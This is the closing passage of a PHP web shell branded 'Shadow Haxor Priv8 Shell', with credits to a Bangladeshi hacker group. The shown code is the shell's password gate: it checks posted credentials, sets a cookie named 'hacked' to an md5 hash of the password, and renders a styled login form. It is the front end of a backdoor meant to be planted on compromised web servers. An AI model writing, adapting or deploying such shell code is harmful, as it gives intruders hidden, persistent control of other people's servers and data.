6159}
6160?>
6161
6162
6163<hr color="#1B1B1B">
6164<div align="center">
6165<font size="6" face="Times New Roman, Times, serif" color="#00CC00">
6166ErrOr SquaD Bangladeshi Hackers<br></font><br><a href="http://www.facebook.com/asiffarabi000" target="_blank"><font color="#FF0000" size="6">Coded by AsiF FaraBi</font></a></div>
6167<?php
6168}
6169}
6170
6171if(isset($_POST['uname']) && isset($_POST['passwd']))
6172{
6173 if( $_POST['uname'] == $username && $_POST['passwd'] == $password )
6174 {
6175 setcookie("hacked", md5($password));
6176 $selfenter = $_SERVER["PHP_SELF"];
6177 header("Location:$selfenter");
6178 }
6179}
6180
6181if((!isset($_COOKIE['hacked']) || $_COOKIE['hacked']!=md5($password)) )
6182{
6183 shellstyle();
6184?>
6185 <center>
6186 <form method="POST">
6187 <div style="background-color:#171717; width:50%; border-radius:7px; margin-top:150px; -moz-border-radius:25px; height:410px; background-image:url(Windows_7_-_Alien_from_outer_space.jpg);">
6188 <table cellpadding="9" cellspacing="4">
6189 <tr>
6190 <td align="center" colspan="2"><blink><font size="7"><b>Shadow Haxor Priv8 Shell</b>
6191 </font></blink></td>
6192 </tr>
6193 <tr>
6194 <td align="right"><b>User Name : </b></td>
6195 <td><input type="text" name="uname" style="background-color:#333333; border-radius:7px; -moz-border-radius:10px; border-color:#000000; width:170px; color:#666666;" value="User Name" onFocus="if (this.value == 'User Name'){this.value=''; this.style.color='black';}" onBlur="if (this.value == '') {this.value='User Name'; this.style.color='#828282';}" AUTOCOMPLETE="OFF"></td>
6196 </tr>
6197 <tr>
6198 <td align="right"><b>Password : </b></td>
6199 <td><input type="password" name="passwd" style="background-color:#333333; border-radius:7px; -moz-border-radius:10px; border-color:#000000; width:170px; color:#666666;" value="User Name" onFocus="if (this.value == 'User Name'){this.value=''; this.style.color='black';}" onBlur="if (this.value == '') {this.value='User Name'; this.style.color='#828282';}" AUTOCOMPLETE="OFF"></td>
6200 </tr>
6201 <tr>
6202 <td align="center" colspan="2"><input type="submit" class="but" value=" Enter "></td>
6203 </tr>
6204 <tr>
6205 <td align="center" colspan="2"><font size="5" face="Times New Roman, Times, serif"><b>~~~Coded By:Shadow Haxor~~~</b></font></td>
6206 </tr>
6207 <tr>
6208 <td colspan="2"><font size="4" face="Times New Roman, Times, serif"><noscript>Enable Javascript in your browser for the proper working of the shell</noscript></font></td>
6209 </tr>
6210 </table>
6211 </div>
6212
6213 </form>
6214 </center>
6215<br>
6216</body>
6217</html>
6218<?php
6219}
6220?>